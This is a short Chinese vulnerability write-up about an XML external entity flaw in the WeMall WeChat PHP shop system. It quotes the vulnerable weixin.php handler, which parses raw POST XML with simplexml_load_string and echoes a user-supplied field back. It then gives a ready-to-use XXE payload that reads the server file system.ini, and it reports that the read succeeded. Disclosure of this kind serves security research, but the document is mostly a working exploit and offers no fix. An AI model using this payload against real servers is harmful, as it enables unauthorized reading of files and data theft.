wemall微信开源PHP商城系统xml实体注入 – 网站安全

WeMall提供最好用、最方便的微信接口,微信会员卡、优惠券、大转盘、团购、一战到底、微网站、微相册、在线预订,一应俱全。让你运营微信得心应手!。。。

weixin.php
 

if (! isset ( $_GET ['echostr'] )) {
$wechatObj->responseMsg ();
} else {
$wechatObj->valid();
}


    public function responseMsg()
    {
//get post data, May be due to the different environments
$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];

      //extract post data
if (!empty($postStr)){ 

              $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
                $fromUsername = $postObj->FromUserName;
                $toUsername = $postObj->ToUserName;
                $keyword = trim($postObj->Content);
                $time = time();
                $event = $postObj->Event;
                $textTpl = "<xml>
<ToUserName><![CDATA[%s]]></ToUserName>
<FromUserName><![CDATA[%s]]></FromUserName>
<CreateTime>%s</CreateTime>
<MsgType><![CDATA[%s]]></MsgType>
<Content><![CDATA[%s]]></Content>
<FuncFlag>0</FuncFlag>
</xml>";
                  
                $newsTpl = "<xml>
<ToUserName><![CDATA[%s]]></ToUserName>
<FromUserName><![CDATA[%s]]></FromUserName>
<CreateTime>%s</CreateTime>
<MsgType><![CDATA[%s]]></MsgType>
<ArticleCount>1</ArticleCount>
<Articles>
<item>
<Title><![CDATA[%s]]></Title>
<Description><![CDATA[%s]]></Description>
<PicUrl><![CDATA[%s]]></PicUrl>
<Url><![CDATA[%s]]></Url>
</item>
</Articles>
</xml>";
if(!empty( $keyword ))
                {

          $msgType = "news";
                $Url =  $this->appurl.$fromUsername;
                $resultStr = sprintf($newsTpl, $fromUsername, $toUsername, $time, $msgType, $this->title,  $this->description, $this->picurl, $Url);
                echo $resultStr;
                }else{
                
     。。。。。。。。。。。。。。。

当 get echostr为空时 执行responseMsg函数。

$postStr = $GLOBALS[“HTTP_RAW_POST_DATA”];

接收数据后 $keyword = trim($postObj->Content);

keyword不为空 则 $resultStr = sprintf($newsTpl, $fromUsername, $toUsername, $time, $msgType, $this->title, $this->description, $this->picurl, $Url);

echo $resultStr;

我们 post 提交
 

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "file:///c:/windows/system.ini">
]>
<xml>
<ToUserName>&test;</ToUserName>
<FromUserName>111</FromUserName>
<CreateTime>1402550611</CreateTime>
<MsgType>123</MsgType>
<FuncFlag>0</FuncFlag>
<Content>123</Content>
</xml>

成功读取文件